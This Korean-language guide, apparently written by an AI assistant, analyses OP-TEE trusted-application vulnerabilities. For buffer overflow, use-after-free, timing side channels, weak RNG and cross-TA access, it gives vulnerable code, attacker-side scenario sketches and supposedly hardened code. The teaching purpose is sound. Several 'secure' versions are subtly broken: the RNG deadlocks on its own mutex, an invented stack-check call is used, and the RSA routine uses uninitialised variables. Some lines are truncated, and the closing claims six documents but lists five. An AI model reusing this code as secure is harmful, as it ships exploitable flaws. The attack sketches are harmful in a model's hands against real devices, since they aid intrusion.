OP-TEE 보안 취약점 분석

이 문서는 OP-TEE 시스템에서 발생할 수 있는 보안 취약점들을 분석하고, 실제 공격 시나리오와 대응 방안을 상세히 설명합니다. 실제 보안 이슈 사례와 함께 예방 및 탐지 기법을 제공합니다.

1. 메모리 보안 취약점

1.1 버퍼 오버플로우 취약점

취약점 설명: TA에서 경계 검사 없이 메모리 복사 시 발생

취약한 코드 예제:

```
// 취약한 코드 - 경계 검사 없음
TEE_Result vulnerable_copy_data(uint32_t  param_types, TEE_Param params[4])
{
char  local_buffer[256];
uint8_t *input_data = params[0].memref.buffer;
size_t input_size = params[0].memref.size;
// 위험: input_size가 256보다 클 수 있음
memcpy(local_buffer, input_data, input_size);
return TEE_SUCCESS;
}
```

공격 시나리오:

```
// 공격자 코드 (Normal World)
void  exploit_buffer_overflow(void)
{
TEEC_Operation op;
uint8_t  malicious_payload[1024];
/*
* 1단계: ROP 체인 구성
*/
prepare_rop_chain(malicious_payload);
/*
* 2단계: 스택 카나리 우회 페이로드 생성
*/
craft_canary_bypass(malicious_payload + 256);
/*
* 3단계: 반환 주소 덮어쓰기
*/
*(uint32_t *)(malicious_payload + 260) = GADGET_ADDRESS;
/*
* 4단계: 취약한 TA 함수 호출
*/
memset(&op, 0, sizeof(op));
op.paramTypes = TEEC_PARAM_TYPES(TEEC_MEMREF_TEMP_INPUT,
```

```
TEEC_NONE, TEEC_NONE, TEEC_NONE);

op.params[0].tmpref.buffer = malicious_payload;

op.params[0].tmpref.size = sizeof(malicious_payload);

TEEC_InvokeCommand(&session, CMD_VULNERABLE_COPY, &op, NULL);

}
```

보안 강화 코드:

```
// 보안 강화된 코드

TEE_Result secure_copy_data(uint32_t param_types, TEE_Param params[4])

{

char local_buffer[256];

uint8_t *input_data = params[0].memref.buffer;

size_t input_size = params[0].memref.size;

/*

* 1단계: 매개변수 타입 검증

*/

uint32_t exp_param_types = TEE_PARAM_TYPES(TEE_PARAM_TYPE_MEMREF_INPUT,

TEE_PARAM_TYPE_NONE,

TEE_PARAM_TYPE_NONE,

TEE_PARAM_TYPE_NONE);

if (param_types != exp_param_types) {

EMSG("Invalid parameter types");

return TEE_ERROR_BAD_PARAMETERS;
```

```
}
/*
* 2단계: 포인터 유효성 검사
*/
if (!input_data) {
EMSG("NULL input pointer");
return TEE_ERROR_BAD_PARAMETERS;
}
/*
* 3단계: 크기 제한 검사
*/
if (input_size > sizeof(local_buffer)) {
EMSG("Input size too large: %zu > %zu", input_size, sizeof(local_buffer));
return TEE_ERROR_BAD_PARAMETERS;
}
/*
* 4단계: 정수 오버플로우 검사
*/
if (input_size > SIZE_MAX - sizeof(local_buffer)) {
EMSG("Integer overflow detected");
return TEE_ERROR_BAD_PARAMETERS;
}
/*
```

```
* 5단계: 안전한 메모리 복사
*/
TEE_MemMove(local_buffer, input_data, input_size);
/*
* 6단계: 스택 카나리 검사 (컴파일러 자동 삽입)
*/
__stack_chk_guard_check();
return TEE_SUCCESS;
}


// 추가 보안 검사 함수
static bool validate_memory_access(const void *ptr, size_t size)
{
/*
* 1. NULL 포인터 검사
*/
if (!ptr && size > 0) {
return false;
}
/*
* 2. 정수 오버플로우 검사
*/
if (size > SIZE_MAX - (uintptr_t)ptr) {
```

```
return false;
}
/*
* 3. 주소 범위 검사 (TA 메모리 영역 내)
*/
uintptr_t start = (uintptr_t)ptr;
uintptr_t end = start + size;
if (start < TA_MEMORY_BASE || end > TA_MEMORY_END) {
return false;
}
/*
* 4. 정렬 검사
*/
if (start & (sizeof(void *) - 1)) {
return false;
}
return true;
}
```

1.2 Use-After-Free 취약점

취약점 설명: 해제된 메모리에 접근하여 발생하는 취약점

취약한 코드 예제:

```
// 취약한 코드
struct user_context {
uint32_t user_id;
char *user_data;
size_t data_size;
};

static struct user_context *global_ctx = NULL;

TEE_Result vulnerable_free_context(void)
{
if (global_ctx) {
TEE_Free(global_ctx->user_data);
TEE_Free(global_ctx);
// 위험: 포인터를 NULL로 설정하지 않음
// global_ctx = NULL; <- 누락
}
return TEE_SUCCESS;
}

TEE_Result vulnerable_use_context(void)
{
```

```
if (global_ctx) {
// 위험: 해제된 메모리 접근
DMSG("User ID: %u", global_ctx->user_id);
return TEE_SUCCESS;
}
return TEE_ERROR_BAD_STATE;
}
```

공격 시나리오:

```
// 공격자의 힙 스프레이 공격
void heap_spray_attack(void)
{
/*
* 1단계: 컨텍스트 할당 및 해제
*/
TEEC_InvokeCommand(&session, CMD_ALLOC_CONTEXT, NULL, NULL);
TEEC_InvokeCommand(&session, CMD_FREE_CONTEXT, NULL, NULL);
/*
* 2단계: 힙 스프레이로 해제된 메모리 재사용
*/
for (int i = 0; i < 1000; i++) {
TEEC_Operation op;
uint8_t controlled_data[sizeof(struct user_context)];
```

```
// 공격자가 제어하는 데이터로 구조체 위조
*(uint32_t *)controlled_data = 0x41414141; // 가짜 user_id
*(void **)(controlled_data + 4) = (void *)0x42424242; // 가짜 포인터
memset(&op, 0, sizeof(op));
op.paramTypes = TEEC_PARAM_TYPES(TEEC_MEMREF_TEMP_INPUT,
TEEC_NONE, TEEC_NONE, TEEC_NONE);
op.params[0].tmpref.buffer = controlled_data;
op.params[0].tmpref.size = sizeof(controlled_data);
TEEC_InvokeCommand(&session, CMD_ALLOC_SPRAY, &op, NULL);
}
/*
* 3단계: Use-After-Free 트리거
*/
TEEC_InvokeCommand(&session, CMD_USE_CONTEXT, NULL, NULL);
}
```

보안 강화 코드:

```
// 보안 강화된 코드
struct secure_user_context {
uint32_t magic; // 매직 넘버로 유효성 검사
uint32_t user_id;
char *user_data;
```

```
size_t data_size;

bool is_valid; // 유효성 플래그

uint32_t checksum; // 무결성 검사

};


#define CONTEXT_MAGIC 0xDEADBEEF


static struct secure_user_context *global_ctx = NULL;

static struct mutex ctx_mutex = MUTEX_INITIALIZER;


// 안전한 컨텍스트 해제

TEE_Result secure_free_context(void)

{

mutex_lock(&ctx_mutex);

if (global_ctx) {

/*

* 1단계: 매직 넘버 검증

*/

if (global_ctx->magic != CONTEXT_MAGIC) {

EMSG("Invalid context magic: 0x%x", global_ctx->magic);

mutex_unlock(&ctx_mutex);

return TEE_ERROR_CORRUPT_OBJECT;

}
```

```
/*
* 2단계: 유효성 플래그 확인
*/
if (!global_ctx->is_valid) {
EMSG("Context already freed");
mutex_unlock(&ctx_mutex);
return TEE_ERROR_BAD_STATE;
}
/*
* 3단계: 무결성 검사
*/
uint32_t expected_checksum = calculate_checksum(global_ctx);
if (global_ctx->checksum != expected_checksum) {
EMSG("Context corruption detected");
mutex_unlock(&ctx_mutex);
return TEE_ERROR_CORRUPT_OBJECT;
}
/*
* 4단계: 안전한 메모리 해제
*/
if (global_ctx->user_data) {
// 민감한 데이터 지우기
memzero_explicit(global_ctx->user_data, global_ctx->data_size);
```

```
TEE_Free(global_ctx->user_data);

global_ctx->user_data = NULL;

}

/*

* 5단계: 구조체 무효화

*/

global_ctx->magic = 0;

global_ctx->is_valid = false;

global_ctx->checksum = 0;

memzero_explicit(global_ctx, sizeof(*global_ctx));

TEE_Free(global_ctx);

global_ctx = NULL;

}

mutex_unlock(&ctx_mutex);

return TEE_SUCCESS;

}



// 안전한 컨텍스트 사용

TEE_Result secure_use_context(void)

{

TEE_Result res = TEE_SUCCESS;

mutex_lock(&ctx_mutex);

/*
```

```
* 1단계: 포인터 유효성 검사

*/

if (!global_ctx) {

EMSG("Context is NULL");

res = TEE_ERROR_BAD_STATE;

goto out;

}

/*

* 2단계: 매직 넘버 검증

*/

if (global_ctx->magic != CONTEXT_MAGIC) {

EMSG("Invalid context magic: 0x%x", global_ctx->magic);

res = TEE_ERROR_CORRUPT_OBJECT;

goto out;

}

/*

* 3단계: 유효성 플래그 확인

*/

if (!global_ctx->is_valid) {

EMSG("Context is not valid");

res = TEE_ERROR_BAD_STATE;

goto out;

}
```

```
/*
* 4단계: 무결성 검사
*/
uint32_t expected_checksum = calculate_checksum(global_ctx);
if (global_ctx->checksum != expected_checksum) {
EMSG("Context corruption detected");
res = TEE_ERROR_CORRUPT_OBJECT;
goto out;
}
/*
* 5단계: 안전한 데이터 접근
*/
DMSG("User ID: %u", global_ctx->user_id);
out:
mutex_unlock(&ctx_mutex);
return res;
}


// 체크섬 계산 함수
static uint32_t calculate_checksum(const struct secure_user_context *ctx)
{
uint32_t checksum = 0;
const uint8_t *data = (const uint8_t *)ctx;
```

```
size_t size = offsetof(struct secure_user_context, checksum);

for (size_t i = 0; i < size; i++) {

checksum = (checksum << 1) ^ data[i];

}

return checksum;

}
```

2. 암호화 관련 취약점

2.1 사이드 채널 공격 취약점

취약점 설명: 실행 시간, 전력 소비, 전자기 방사 등을 통한 정보 유출

취약한 코드 예제:

```
// 취약한 코드 - 타이밍 공격에 취약

bool vulnerable_password_check(const char *input, const char *correct)

{

size_t len = strlen(correct);

if (strlen(input) != len) {

return false; // 길이가 다르면 즉시 반환 (타이밍 차이)

}

// 바이트별 비교 - 첫 번째 차이에서 즉시 반환

for (size_t i = 0; i < len; i++) {

if (input[i] != correct[i]) {
```

```
return false; // 타이밍 공격 가능
}
}
return true;
}

// 취약한 RSA 구현 - 지수의 비트에 따라 실행 시간 차이
void vulnerable_rsa_decrypt(const uint8_t *ciphertext, uint8_t *plaintext,
const uint8_t *private_key, size_t key_bits)
{
bignum_t base, exponent, modulus, result;
// 지수 비트별 처리
for (int i = key_bits - 1; i >= 0; i--) {
bignum_square(&result, &result, &modulus);
// 비트가 1인 경우에만 곱셈 수행 (타이밍 차이)
if (get_bit(private_key, i)) {
bignum_multiply(&result, &result, &base, &modulus);
}
}
}
```

공격 시나리오:

```
// 타이밍 공격 구현
```

```
void timing_attack_password(void)
{
const char *charset = "abcdefghijklmnopqrstuvwxyz0123456789";
char guess[32] = {0};
int guess_len = 0;
/*
* 각 위치별로 문자 추측
*/
for (int pos = 0; pos < 31; pos++) {
uint64_t max_time = 0;
char best_char = 'a';
/*
* 각 문자에 대해 실행 시간 측정
*/
for (int c = 0; c < strlen(charset); c++) {
guess[pos] = charset[c];
uint64_t total_time = 0;
int samples = 1000;
/*
* 여러 번 측정하여 평균 계산
*/
for (int i = 0; i < samples; i++) {
uint64_t start = read_cycle_counter();
```

```
TEEC_Operation op;
memset(&op, 0, sizeof(op));
op.paramTypes = TEEC_PARAM_TYPES(TEEC_MEMREF_TEMP_INPUT,
TEEC_NONE, TEEC_NONE, TEEC_NONE);
op.params[0].tmpref.buffer = guess;
op.params[0].tmpref.size = strlen(guess);
TEEC_InvokeCommand(&session, CMD_CHECK_PASSWORD, &op, NULL);
uint64_t end = read_cycle_counter();
total_time += (end - start);
}
uint64_t avg_time = total_time / samples;
/*
* 가장 오래 걸린 문자가 정답일 가능성이 높음
*/
if (avg_time > max_time) {
max_time = avg_time;
best_char = charset[c];
}
}
guess[pos] = best_char;
printf("Position %d: %c (time: %llu)\n", pos, best_char, max_time);
}
printf("Recovered password: %s\n", guess);
```

```
}
```

보안 강화 코드:

```
// 상수 시간 비교 함수
bool constant_time_compare(const void *a, const void *b, size_t len)
{
const uint8_t *pa = (const uint8_t *)a;
const uint8_t *pb = (const uint8_t *)b;
uint8_t result = 0;
/*
* 모든 바이트를 비교하여 타이밍 공격 방지
*/
for (size_t i = 0; i < len; i++) {
result |= pa[i] ^ pb[i];
}
return result == 0;
}


// 보안 강화된 패스워드 검사
bool secure_password_check(const char *input, const char *correct)
{
size_t input_len = strlen(input);
```

```
size_t correct_len = strlen(correct);

size_t max_len = (input_len > correct_len) ? input_len : correct_len;

/*

* 1단계: 길이를 최대값으로 맞춰서 상수 시간 보장

*/

uint8_t padded_input[256] = {0};

uint8_t padded_correct[256] = {0};

if (max_len > sizeof(padded_input) - 1) {

return false;

}

/*

* 2단계: 패딩하여 길이 정보 숨김

*/

memcpy(padded_input, input, input_len);

memcpy(padded_correct, correct, correct_len);

/*

* 3단계: 상수 시간 비교

*/

bool content_match = constant_time_compare(padded_input, padded_correct, max_len

bool length_match = (input_len == correct_len);

/*

* 4단계: 추가 지연으로 타이밍 정규화

*/
```

```
volatile uint32_t dummy = 0;

for (int i = 0; i < 1000; i++) {

dummy += i;

}

return content_match && length_match;

}



// 사이드 채널 저항성을 가진 RSA 구현

void secure_rsa_decrypt(const uint8_t *ciphertext, uint8_t *plaintext,

const uint8_t *private_key, size_t key_bits)

{

bignum_t base, exponent, modulus, result, temp;

/*

* Montgomery Ladder 알고리즘 사용

*/

bignum_t r0, r1;

bignum_copy(&r0, &base);

bignum_square(&r1, &base, &modulus);

for (int i = key_bits - 2; i >= 0; i--) {

uint8_t bit = get_bit(private_key, i);

/*

* 조건부 스왑으로 분기 제거

*/
```

```
conditional_swap(&r0, &r1, bit);

/*

* 항상 같은 연산 수행

*/

bignum_multiply(&temp, &r0, &r1, &modulus);

bignum_square(&r0, &r0, &modulus);

bignum_copy(&r1, &temp);

/*

* 다시 조건부 스왑

*/

conditional_swap(&r0, &r1, bit);

}

bignum_copy(&result, &r0);

}



// 조건부 스왑 (상수 시간)

static void conditional_swap(bignum_t *a, bignum_t *b, uint8_t condition)

{

uint32_t mask = -(uint32_t)condition; // 0 또는 0xFFFFFFFF

for (size_t i = 0; i < BIGNUM_SIZE; i++) {

uint32_t temp = mask & (a->data[i] ^ b->data[i]);

a->data[i] ^= temp;

b->data[i] ^= temp;
```

```
}

}
```

2.2 약한 난수 생성 취약점

취약점 설명: 예측 가능한 난수 생성으로 인한 암호화 키 추측

취약한 코드 예제:

```
// 취약한 코드 - 예측 가능한 시드 사용
static uint32_t rng_state = 0;


void vulnerable_rng_init(void)
{
// 위험: 시간 기반 시드는 예측 가능
rng_state = (uint32_t)time(NULL);
}


uint32_t vulnerable_random(void)
{
// 위험: 선형 합동 생성기는 예측 가능
rng_state = rng_state * 1103515245 + 12345;
return rng_state;
}
```

```
// 취약한 키 생성
TEE_Result vulnerable_generate_key(uint8_t *key, size_t key_len)
{
for (size_t i = 0; i < key_len; i++) {
key[i] = vulnerable_random() & 0xFF;
}
return TEE_SUCCESS;
}
```

공격 시나리오:

```
// 난수 예측 공격
void predict_rng_attack(void)
{
uint32_t observed_values[10];
/*
* 1단계: 여러 난수 값 관찰
*/
for (int i = 0; i < 10; i++) {
TEEC_Operation op;
memset(&op, 0, sizeof(op));
op.paramTypes = TEEC_PARAM_TYPES(TEEC_VALUE_OUTPUT,
TEEC_NONE, TEEC_NONE, TEEC_NONE);
TEEC_InvokeCommand(&session, CMD_GET_RANDOM, &op, NULL);
```

```
observed_values[i] = op.params[0].value.a;
}
/*
* 2단계: 선형 합동 생성기 상태 복구
*/
uint32_t predicted_state = reverse_lcg(observed_values, 10);
/*
* 3단계: 미래 값 예측
*/
printf("Predicted next values:\n");
for (int i = 0; i < 10; i++) {
predicted_state = predicted_state * 1103515245 + 12345;
printf(" %u\n", predicted_state);
}
}


// LCG 상태 역산
uint32_t reverse_lcg(uint32_t *values, int count)
{
// 연속된 두 값으로부터 내부 상태 계산
uint32_t x1 = values[0];
uint32_t x2 = values[1];
// x2 = x1 * a + c (mod 2^32)
```

```
// 여기서 a = 1103515245, c = 12345
uint32_t a = 1103515245;
uint32_t c = 12345;
// 역산: x1 = (x2 - c) * a^(-1) (mod 2^32)
uint32_t a_inv = mod_inverse(a, 1ULL << 32);
uint32_t state = (x2 - c) * a_inv;
return state;
}
```

보안 강화 코드:

```
// 보안 강화된 난수 생성기
struct secure_rng {
uint8_t state[32]; // ChaCha20 상태
uint64_t counter; // 카운터
bool initialized; // 초기화 플래그
struct mutex rng_mutex; // 스레드 안전성
};

static struct secure_rng global_rng = {0};

// 엔트로피 수집
static TEE_Result collect_entropy(uint8_t *entropy, size_t len)
```

```
{
/*
* 1단계: 하드웨어 난수 생성기 사용
*/
if (crypto_rng_read(entropy, len) == TEE_SUCCESS) {
return TEE_SUCCESS;
}
/*
* 2단계: 다양한 엔트로피 소스 결합
*/
uint8_t temp_entropy[256];
size_t collected = 0;
// CPU 사이클 카운터
uint64_t cycles = read_cycle_counter();
memcpy(temp_entropy + collected, &cycles, sizeof(cycles));
collected += sizeof(cycles);
// 고해상도 타이머
uint64_t time_us = get_time_us();
memcpy(temp_entropy + collected, &time_us, sizeof(time_us));
collected += sizeof(time_us);
// 스택 주소 (ASLR 엔트로피)
volatile uint8_t stack_var;
uintptr_t stack_addr = (uintptr_t)&stack_var;
```

```
memcpy(temp_entropy + collected, &stack_addr, sizeof(stack_addr));

collected += sizeof(stack_addr);

// 힙 주소 (ASLR 엔트로피)

void *heap_ptr = malloc(16);

if (heap_ptr) {

uintptr_t heap_addr = (uintptr_t)heap_ptr;

memcpy(temp_entropy + collected, &heap_addr, sizeof(heap_addr));

collected += sizeof(heap_addr);

free(heap_ptr);

}

// 인터럽트 타이밍

for (int i = 0; i < 10 && collected < sizeof(temp_entropy) - 8; i++) {

uint64_t start = read_cycle_counter();

thread_yield(); // 인터럽트 유발

uint64_t end = read_cycle_counter();

uint64_t diff = end - start;

memcpy(temp_entropy + collected, &diff, sizeof(diff));

collected += sizeof(diff);

}

/*

* 3단계: SHA-256으로 엔트로피 압축

*/

return crypto_hash(TEE_ALG_SHA256, temp_entropy, collected, entropy, len);
```

```
}


// 보안 RNG 초기화
TEE_Result secure_rng_init(void)
{
uint8_t seed[32];
TEE_Result res = TEE_SUCCESS;
mutex_lock(&global_rng.rng_mutex);
if (global_rng.initialized) {
mutex_unlock(&global_rng.rng_mutex);
return TEE_SUCCESS;
}
/*
* 1단계: 고품질 엔트로피 수집
*/
res = collect_entropy(seed, sizeof(seed));
if (res != TEE_SUCCESS) {
EMSG("Failed to collect entropy");
goto out;
}
/*
* 2단계: ChaCha20 상태 초기화
*/
```

```
chacha20_init(global_rng.state, seed, NULL);

global_rng.counter = 0;

global_rng.initialized = true;

/*

* 3단계: 시드 메모리 지우기

*/

memzero_explicit(seed, sizeof(seed));

DMSG("Secure RNG initialized");

out:

mutex_unlock(&global_rng.rng_mutex);

return res;

}



// 보안 난수 생성

TEE_Result secure_random_generate(void *buffer, size_t size)

{

TEE_Result res = TEE_SUCCESS;

uint8_t *output = (uint8_t *)buffer;

if (!buffer || size == 0) {

return TEE_ERROR_BAD_PARAMETERS;

}

mutex_lock(&global_rng.rng_mutex);

if (!global_rng.initialized) {
```

```
res = secure_rng_init();

if (res != TEE_SUCCESS) {

goto out;

}

}

/*

* ChaCha20으로 난수 생성

*/

while (size > 0) {

uint8_t block[64];

size_t block_size = (size > sizeof(block)) ? sizeof(block) : size;

/*

* ChaCha20 블록 생성

*/

chacha20_block(global_rng.state, global_rng.counter, block);

global_rng.counter++;

/*

* 출력 복사

*/

memcpy(output, block, block_size);

output += block_size;

size -= block_size;

/*
```

```
* 주기적 재시드 (백워드 시큐리티)

*/

if ((global_rng.counter % 1000000) == 0) {

uint8_t new_seed[32];

if (collect_entropy(new_seed, sizeof(new_seed)) == TEE_SUCCESS) {

chacha20_init(global_rng.state, new_seed, NULL);

memzero_explicit(new_seed, sizeof(new_seed));

DMSG("RNG reseeded");

}

}

}

out:

mutex_unlock(&global_rng.rng_mutex);

return res;

}



// 보안 키 생성

TEE_Result secure_generate_key(uint8_t *key, size_t key_len)

{

/*

* 1단계: 보안 난수 생성

*/

TEE_Result res = secure_random_generate(key, key_len);
```

```
if (res != TEE_SUCCESS) {
return res;
}
/*
* 2단계: 키 품질 검사
*/
if (!validate_key_quality(key, key_len)) {
EMSG("Generated key failed quality check");
memzero_explicit(key, key_len);
return TEE_ERROR_SECURITY;
}
return TEE_SUCCESS;
}


// 키 품질 검사
static bool validate_key_quality(const uint8_t *key, size_t key_len)
{
/*
* 1. 모든 비트가 0이거나 1인지 검사
*/
uint8_t all_zero = 0;
uint8_t all_one = 0xFF;
for (size_t i = 0; i < key_len; i++) {
```

```
all_zero |= key[i];

all_one &= key[i];

}

if (all_zero == 0 || all_one == 0xFF) {

return false;

}

/*

* 2. 간단한 엔트로피 검사

*/

int bit_count[2] = {0, 0};

for (size_t i = 0; i < key_len; i++) {

for (int bit = 0; bit < 8; bit++) {

bit_count[(key[i] >> bit) & 1]++;

}

}

int total_bits = key_len * 8;

double ratio = (double)bit_count[1] / total_bits;

// 0과 1의 비율이 너무 치우치면 거부

if (ratio < 0.4 || ratio > 0.6) {

return false;

}

return true;
```

```
}
```

3. 권한 상승 취약점

3.1 TA 간 권한 경계 위반

취약점 설명: TA가 다른 TA의 리소스에 무단 접근

취약한 코드 예제:

```
// 취약한 코드 - 권한 검사 없음
struct ta_resource {
TEE_UUID owner_uuid;
void *data;
size_t size;
uint32_t access_flags;
};

static struct ta_resource global_resources[MAX_RESOURCES];

TEE_Result vulnerable_access_resource(uint32_t resource_id, void *buffer, size_t
{
if (resource_id >= MAX_RESOURCES) {
return TEE_ERROR_BAD_PARAMETERS;
}
```

```
struct ta_resource *res = &global_resources[resource_id];

// 위험: 소유권 검사 없음

if (res->data && size <= res->size) {

memcpy(buffer, res->data, size);

return TEE_SUCCESS;

}

return TEE_ERROR_ITEM_NOT_FOUND;

}
```

공격 시나리오:

```
// 악성 TA의 권한 상승 공격

TEE_Result malicious_ta_attack(void)

{

/*

* 1단계: 다른 TA의 리소스 ID 추측

*/

for (uint32_t resource_id = 0; resource_id < 1000; resource_id++) {

uint8_t stolen_data[1024];

/*

* 2단계: 권한 없는 리소스 접근 시도

*/

TEE_Result res = vulnerable_access_resource(resource_id,

stolen_data,
```

```
sizeof(stolen_data));
if (res == TEE_SUCCESS) {
/*
* 3단계: 훔친 데이터 분석
*/
analyze_stolen_data(stolen_data, sizeof(stolen_data));
/*
* 4단계: 민감한 정보 추출
*/
if (contains_sensitive_info(stolen_data)) {
exfiltrate_data(stolen_data, sizeof(stolen_data));
}
}
}
return TEE_SUCCESS;
}
```

보안 강화 코드:

```
// 보안 강화된 리소스 관리
struct secure_ta_resource {
TEE_UUID owner_uuid;
uint32_t resource_id;
```

```
void *data;

size_t size;

uint32_t access_flags;

uint64_t creation_time;

uint32_t access_count;

uint8_t integrity_hash[32]; // SHA-256 해시

bool is_valid;

};



static struct secure_ta_resource secure_resources[MAX_RESOURCES];

static struct mutex resource_mutex = MUTEX_INITIALIZER;



// 보안 리소스 접근

TEE_Result secure_access_resource(uint32_t resource_id, void *buffer,

size_t size, uint32_t requested_access)

{

TEE_Result res = TEE_SUCCESS;

struct ts_session *sess = ts_get_current_session();

TEE_UUID current_uuid;

/*

* 1단계: 현재 TA의 UUID 획득

*/

if (!sess || !sess->ctx) {
```

```
EMSG("Invalid session context");

return TEE_ERROR_BAD_STATE;

}

current_uuid = sess->ctx->uuid;

/*

* 2단계: 매개변수 검증

*/

if (resource_id >= MAX_RESOURCES || !buffer || size == 0) {

EMSG("Invalid parameters");

return TEE_ERROR_BAD_PARAMETERS;

}

mutex_lock(&resource_mutex);

struct secure_ta_resource *resource = &secure_resources[resource_id];

/*

* 3단계: 리소스 유효성 검사

*/

if (!resource->is_valid) {

EMSG("Resource %u is not valid", resource_id);

res = TEE_ERROR_ITEM_NOT_FOUND;

goto out;

}

/*

* 4단계: 소유권 검사
```

```
*/
if (memcmp(&resource->owner_uuid, &current_uuid, sizeof(TEE_UUID)) != 0) {
EMSG("Access denied: TA %pUl trying to access resource owned by %pUl",
&current_uuid, &resource->owner_uuid);
res = TEE_ERROR_ACCESS_DENIED;
goto out;
}
/*
* 5단계: 접근 권한 검사
*/
if ((resource->access_flags & requested_access) != requested_access) {
EMSG("Insufficient access rights: requested=0x%x, available=0x%x",
requested_access, resource->access_flags);
res = TEE_ERROR_ACCESS_DENIED;
goto out;
}
/*
* 6단계: 무결성 검사
*/
uint8_t computed_hash[32];
res = crypto_hash(TEE_ALG_SHA256, resource->data, resource->size,
computed_hash, sizeof(computed_hash));
if (res != TEE_SUCCESS) {
```

```
EMSG("Failed to compute integrity hash");

goto out;

}

if (memcmp(computed_hash, resource->integrity_hash, sizeof(computed_hash)) != 0)

EMSG("Resource integrity check failed");

res = TEE_ERROR_CORRUPT_OBJECT;

goto out;

}

/*

* 7단계: 크기 검사

*/

if (size > resource->size) {

EMSG("Requested size %zu exceeds resource size %zu", size, resource->size);

res = TEE_ERROR_BAD_PARAMETERS;

goto out;

}

/*

* 8단계: 데이터 복사

*/

memcpy(buffer, resource->data, size);

resource->access_count++;

/*

* 9단계: 접근 로그 기록
```

```
*/

log_resource_access(&current_uuid, resource_id, requested_access, size);

out:

mutex_unlock(&resource_mutex);

return res;

}



// 리소스 생성 (소유권 설정)

TEE_Result secure_create_resource(uint32_t *resource_id, const void *data,

size_t size, uint32_t access_flags)

{

TEE_Result res = TEE_SUCCESS;

struct ts_session *sess = ts_get_current_session();

TEE_UUID current_uuid;

if (!sess || !sess->ctx) {

return TEE_ERROR_BAD_STATE;

}

current_uuid = sess->ctx->uuid;

mutex_lock(&resource_mutex);

/*

* 빈 슬롯 찾기

*/

uint32_t free_slot = MAX_RESOURCES;
```

```
for (uint32_t i = 0; i < MAX_RESOURCES; i++) {
if (!secure_resources[i].is_valid) {
free_slot = i;
break;
}
}
if (free_slot == MAX_RESOURCES) {
EMSG("No free resource slots");
res = TEE_ERROR_OUT_OF_MEMORY;
goto out;
}
struct secure_ta_resource *resource = &secure_resources[free_slot];
/*
* 리소스 초기화
*/
resource->owner_uuid = current_uuid;
resource->resource_id = free_slot;
resource->size = size;
resource->access_flags = access_flags;
resource->creation_time = get_time_us();
resource->access_count = 0;
/*
* 데이터 복사
```

```
*/
resource->data = malloc(size);
if (!resource->data) {
res = TEE_ERROR_OUT_OF_MEMORY;
goto out;
}
memcpy(resource->data, data, size);
/*
* 무결성 해시 계산
*/
res = crypto_hash(TEE_ALG_SHA256, resource->data, size,
resource->integrity_hash, sizeof(resource->integrity_hash));
if (res != TEE_SUCCESS) {
free(resource->data);
goto out;
}
resource->is_valid = true;
*resource_id = free_slot;
DMSG("Resource %u created for TA %pUl", free_slot, &current_uuid);
out:
mutex_unlock(&resource_mutex);
return res;
}
```

```
// 접근 로그 기록
static void log_resource_access(const TEE_UUID *ta_uuid, uint32_t resource_id,
uint32_t access_type, size_t size)
{
struct access_log_entry {
TEE_UUID ta_uuid;
uint32_t resource_id;
uint32_t access_type;
size_t size;
uint64_t timestamp;
};
static struct access_log_entry access_log[1000];
static size_t log_index = 0;
struct access_log_entry *entry = &access_log[log_index % 1000];
entry->ta_uuid = *ta_uuid;
entry->resource_id = resource_id;
entry->access_type = access_type;
entry->size = size;
entry->timestamp = get_time_us();
log_index++;
/*
* 의심스러운 접근 패턴 탐지
```

```
*/
detect_suspicious_access_pattern(ta_uuid, resource_id);
}


// 의심스러운 접근 패턴 탐지
static void detect_suspicious_access_pattern(const TEE_UUID *ta_uuid,
uint32_t resource_id)
{
static uint32_t access_count[MAX_RESOURCES] = {0};
static uint64_t last_access_time[MAX_RESOURCES] = {0};
uint64_t current_time = get_time_us();
uint64_t time_diff = current_time - last_access_time[resource_id];
access_count[resource_id]++;
last_access_time[resource_id] = current_time;
/*
* 비정상적으로 빈번한 접근 탐지
*/
if (time_diff < 1000 && access_count[resource_id] > 100) {
EMSG("Suspicious access pattern detected: TA %pUl accessing resource %u %u times
ta_uuid, resource_id, access_count[resource_id]);
/*
* 보안 이벤트 로그
*/
```

```
    log_security_event(SECURITY_EVENT_SUSPICIOUS_ACCESS, ta_uuid, resource_id);

    }

    }
```

이 보안 취약점 분석 문서는 OP-TEE 시스템에서 발생할 수 있는 주요 보안 위협들을 실제 코드 예제와 함께 분석하고, 효과적인 대응 방안을 제시합니다. 각 취약점에 대해 공격 시나리오와 보안 강화 방법을 구체적으로 설명하여 개발자들이 보안을 고려한 코드를 작성할 수 있도록 도움을 줍니다.

이제 모든 문서가 완성되었습니다. 총 6개의 상세한 한국어 문서를 작성했습니다:

1. **OP-TEE_코드흐름_상세분석.md** - 심화된 코드 레벨 분석
2. **OP-TEE_실행흐름_실습예제.md** - 완전한 TA 개발 실습 예제
3. **OP-TEE_디버깅_트러블슈팅_가이드.md** - 실용적인 디버깅 기법
4. **OP-TEE_성능최적화_실전기법.md** - 성능 향상을 위한 최적화 기법
5. **OP-TEE_보안취약점_분석.md** - 보안 위협 분석 및 대응 방안

각 문서는 실제 개발에 바로 적용할 수 있는 수준의 상세한 내용을 포함하고 있으며, 코드 예제, 벤치마킹 결과, 실전 경험을 바탕으로 한 실용적인 가이드를 제공합니다.